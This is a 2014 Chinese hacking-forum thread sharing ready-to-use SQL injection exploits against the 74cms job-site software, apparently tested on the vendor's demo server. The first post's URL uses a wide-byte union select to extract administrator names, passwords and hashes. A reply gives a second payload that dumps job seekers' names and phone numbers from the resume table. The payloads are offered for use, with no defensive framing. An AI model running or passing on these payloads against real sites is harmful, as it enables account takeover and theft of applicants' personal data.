74cms最新通杀注入漏洞

90_ · 发表于 2014-5-29 13:25:17

作者：暂时不知道

74官方测试：

Exp：

[AppleScript] 纯文本查看 复制代码

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23

vivi · 发表于 2014-5-29 14:06:53

多谢管理员分享。

vivi · 发表于 2014-5-29 16:06:46

可是密码是个问题！
这个是获取用户资料信息的exp：
plus/ajax_officebuilding.php?act=key&key=s%E9%8C%A6%27%20or%201=1%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,id,fullname,telephone,0x3C623E205E5F5E3C2F623E),9%20from%20qs_resume%23

system_c · 发表于 2014-5-30 14:04:40

提示: 作者被禁止或删除内容自动屏蔽

Puppet。 · 发表于 2014-7-7 23:09:52

提示: 作者被禁止或删除内容自动屏蔽

system_c system_c 当前离线积分 21 头像被屏蔽该用户从未签到	发表于 2014-5-30 14:04:40 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
system_c system_c 当前离线积分 21 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

Puppet。 Puppet。当前离线积分 211 头像被屏蔽该用户从未签到	发表于 2014-7-7 23:09:52 来自手机 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
Puppet。 Puppet。当前离线积分 211 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

74cms最新通杀注入漏洞

指导单位

旗下站点

联系我们